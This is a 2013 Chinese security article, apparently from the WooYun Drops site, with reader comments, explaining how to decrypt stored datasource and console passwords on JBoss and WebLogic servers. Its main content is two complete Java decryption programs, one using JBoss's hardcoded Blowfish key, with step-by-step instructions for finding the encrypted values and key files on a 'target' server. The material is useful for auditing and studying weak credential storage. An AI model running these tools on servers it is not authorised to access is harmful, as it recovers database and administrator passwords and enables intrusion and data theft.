

□
(/)

»
(/new
se
nd)

解密JBoss和Weblogic数据源连接字符串和控制台密码

insight-labs (/author/?id=insight-labs) · 2013/07/25 19:39

0x00 背景

现在越来越多的站喜欢用java语言的框架做web应用了，这里应用有很多大型站点经常采用jboss或者weblogic做web服务器。出于安全原因，他们都提供把数据源连接密码以及web服务器后台密码加密的功能，jboss用的是blowfish，weblogic旧版的加密算法一般为3DES，新版的则都是AES。

这几种加密算法都是可逆的，因为在web服务器连接到数据库的时候还是要把密码解密成明文之后发过去或者和challenge运算的，所以我们有了两个突破口，第一个就是，解密后的明文密码必然保留在内存中，如果把web服务器的内存空间dump下来分析是肯定可以找到明文密码的，这个方法在前段时间hip发的memory forensic文章里有涉及到。第二个方法就是，调用服务器程序自身的解密函数，让它把明文echo出来。

0x01 JBoss解密

jboss的数据库连接密码一般存在

%JBOSS_HOME%\server\%appname%\deploy

下面的各种xml里面，比如oracle的是oracle-ds.xml,mysql是mysql-ds.xml..... 在没有加密的情况下，密码是这么保存的：

<jndi-name>OracleDS</jndi-name> //jndi名字
<use-java-context>>false</use-java-context>
<connection-url>jdbc:oracle:thin:@localhost:1521:orcl</connection-url> //URL地址
<driver-class>oracle.jdbc.driver.OracleDriver</driver-class> //驱动
<user-name>root</user-name> //用户名
<password>123456</password> //密码

在配置完密码加密后，这个文件里要么没有username和password，要么被comment掉了。下面多了个EncryptDBPassword

加密后的密码存在jboss目录的conf/login-config.xml文件里：

<application-policy name="EncryptDBPassword">
 <authentication>
 <login-module code="org.jboss.resource.security.SecureIdentityLoginModule" flag="required">
 <module-option name="username">admin</module-option>
 <module-option name="password">5dfc52b51bd35553df8592078de921bc</module-option>
 <module-option name="managedConnectionFactoryName">jboss.jca:name=PostgresDS,service=LocalTxCM</module-option>
 </login-module>
 </authentication>
</application-policy>

5dfc52b51bd35553df8592078de921bc就是加密后的密文了，有的时候前面还有个符号，也是密文的一部分。

jboss用来加密的key是明文硬编码在jboss源码里的，key是jaas is the way

解密过程：

找个能编译java的环境或者在线的java编译执行网站：编译以下代码：

□
(/w
p-
logi
n.p
hp
?
acti
on
=lo
go
ut&
red
ire
ct_
to=
htt
p%
3A
%2
F%
2F
dro
ps.
wo
oy
un.
org
)



(/aut
insigh
(/author/?i
lat

drops.xmd5.com/static/drops/tips-349.html

1/5

□
(/)

≡
(/n
ew
se
nd)

```
import java.math.BigInteger;

/*
 * JBoss.java - Blowfish encryption/decryption tool with JBoss default password
 *   Daniel Martin Gomez <daniel @ ngsoftware.com> - 03/Sep/2009
 *
 * This file may be used under the terms of the GNU General Public License
 * version 2.0 as published by the Free Software Foundation:
 *   http://www.gnu.org/licenses/gpl-2.0.html
 */
import javax.crypto.*;
import javax.crypto.spec.SecretKeySpec;

public class JBoss {
    public static void main(String[] args) throws Exception {
        if ((args.length != 2) ||
            !(args[0].equals("-e") | args[0].equals("-d"))) {
            System.out.println(
                "Usage:\n\tjava JBoss <-e|-d> <encrypted_password>");

            return;
        }

        String mode = args[0];

        byte[] kbytes = "jaas is the way".getBytes();
        SecretKeySpec key = new SecretKeySpec(kbytes, "Blowfish");
        Cipher cipher = Cipher.getInstance("Blowfish");

        String out = null;

        if (mode.equals("-e")) {
            String secret = args[1];
            cipher.init(Cipher.ENCRYPT_MODE, key);

            byte[] encoding = cipher.doFinal(secret.getBytes());
            out = new BigInteger(encoding).toString(16);
        } else {
            BigInteger secret = new BigInteger(args[1], 16);
            cipher.init(Cipher.DECRYPT_MODE, key);

            byte[] encoding = cipher.doFinal(secret.toByteArray());
            out = new String(encoding);
        }

        System.out.println(out);
    }
}
```

□
(/w
p-
logi
n.p
hp
?
acti
on
=lo
go
ut&
red
ire
ct_
to=
htt
p%
3A
%2
F%
2F
dro
ps.
wo
oy
un.
org
)

编译后执行，用 -d参数解密，比如

```
java JBoss -d 5dfc52b51bd35553df8592078de921bc
```

就会返回明文密码。

0x02 Weblogic解密

weblogic要稍微复杂一些，jboss的加密函数是java代码里面的，但是weblogic是自己写的，所以解密程序也需要调用weblogic的代码包。WebLogic 11gR1后采用了AES的加密方式，之前的版本采用的DES加密方式。另外，每个Weblogic app的加密key都是随机生成的，所以不同服务器甚至同服务器不同应用上的weblogic都是用不同的密码加密的，这一点上比jboss安全很多。但是，毕竟连数据库的时候还是要还原，所以还是可以解密的。解密过程如下：

加密key都保存在securitySerializedSystemIni.dat 文件中,比如

weblogic安装目录

```
\user_projects\domains\APPNAME\securitySerializedSystemIni.dat
```

有些版本是放到security目录里的，一个应用里面只会有一个这个文件，find一下就找到了。

找到后把它复制到其他的文件夹，比如tmp下面

在这个文件夹下新建一个java文件， Decrypt.java， 名字不能错，必须和内容的class名字一样。

```
import weblogic.security.internal.*;
import weblogic.security.internal.encryption.*;

import java.io.PrintStream;

public class Decrypt {
    static EncryptionService es = null;
    static ClearOrEncryptedService ces = null;

    public static void main(String[] args) {
        String s = null;

        if (args.length == 0) {
            s = ServerAuthenticate.promptValue("Password: ", false);
        } else if (args.length == 1) {
            s = args[0];
        } else {
            System.err.println("Usage: java Decrypt [ password ]");
        }

        es = SerializedSystemIni.getExistingEncryptionService();

        if (es == null) {
            System.err.println("Unable to initialize encryption service");

            return;
        }

        ces = new ClearOrEncryptedService(es);

        if (s != null) {
            System.out.println("\nDecrypted Password is:" + ces.decrypt(s));
        }
    }
}
```

根据目标的操作系统，在weblogic目录中找到setWLSEnv.cmd 或者 setWLSEnv.sh 并且执行。执行后会出来一长串环境变量，分别是CLASSPATH和PATH。但是有些情况下这些环境变量没有加进去，所以还需要执行一下(linux下， windows一般不会出现这个情况)

```
export $CLASSPATH
```

如果这个命令执行完也出来一串东西，那就说明环境变量设置正确，如果没有的话，则需要要在shell里手动执行。把之前执行setWLSEnv.sh出来的两个环境变量分别复制制然后 export一下就行。再执行以下export \$CLASSPATH确认是否加上了。成功后就可以进行下一步了。

weblogic的数据库字符串一般存在weblogic下面应用目录的conf里面，也是xml格式，加密后的密码格式为

```
{AES}JBkrUhrV6q2aQDnPA2DWnUuZWLxzKz9vBMFfibzYAb8=
```

或者

```
{3DES}JBkrUhrV6q2aQDnPA2DWnUuZWLxzKz9vBMFfibzYAb8=
```

到之前放Decrypt.java的目录执行 javac Decrypt.java 然后执行 java Decrypt 加密后密码，比如


```
java Decrypt {AES}JBkrUhrV6q2aQDnPA2DWnUuZWLxzKz9vBMFfibzYAb8=
```

执行完后就会告诉你 Decrypted Password is : weblogic

weblogic的控制台密码也是用同样的方式加密的。

为您推荐了适合您的技术文章:

- 1. JAVA逆向&反混淆-追查Burpsuite的破解原理 (/tips/?id=2689)
- 2. 基于snmp的反射攻击的理论及其实现 (/tips/?id=2106)
- 3. Spring MVC xml绑定pojo造成的XXE (/papers/?id=1911)
- 4. Java 安全模型介绍 (/tips/?id=53)



写下你的评论...

发表



总是不行 2016-01-29 16:32:50

es = SerializedSystemIni.getExistingEncryptionService();

这一行会报错啊

回复



有归于无 2015-09-10 17:32:41

找不到weblogic的数据库字符串啊

回复



南山 2014-12-22 09:52:25

Weblogic 编译其中的java代码中出现报错 cannot resolve symbol

回复



by小星星 2014-05-23 18:02:42

园长 在不? 你Q Q多少? 听说你精通 j s p的。想请教一下你啊。

回复



Ivan 2013-09-23 22:03:01

学习了

回复



园长 2013-07-27 22:46:31

那家伙骗我今年要回国开公司，苦等了大半年了人影儿都没看到。

回复



insight-labs 2013-07-27 18:58:54

d总在美国舒坦的很

回复



菜菜来报道 2013-07-27 10:49:50

(/w
p-
logi
n.p
hp
?
acti
on
=lo
go
ut&
red
ire
ct_
to=
htt
p%
3A
%2
F%
2F
dro
ps.
wo
oy
un.
org
)

□
(/)

很好，哈哈，一直等着Weblogic解密，想法一直是echo出来，不过因为不怎么懂java，所以一直放着，现在有大侠指导，可以试试了

⇒
(/n
ew
se
nd)

□回复



园长 2013-07-25 23:00:40

还好我记得我的密码，他们老是忘记密码。
楼主可知道dcluo还活着没

□回复

□
(/w
p-
logi
n.p
hp
?
acti
on
=lo
go
ut&
red
ire
ct_
to=
htt
p%
3A
%2
F%
2F
dro
ps.
wo
oy
un.
org
)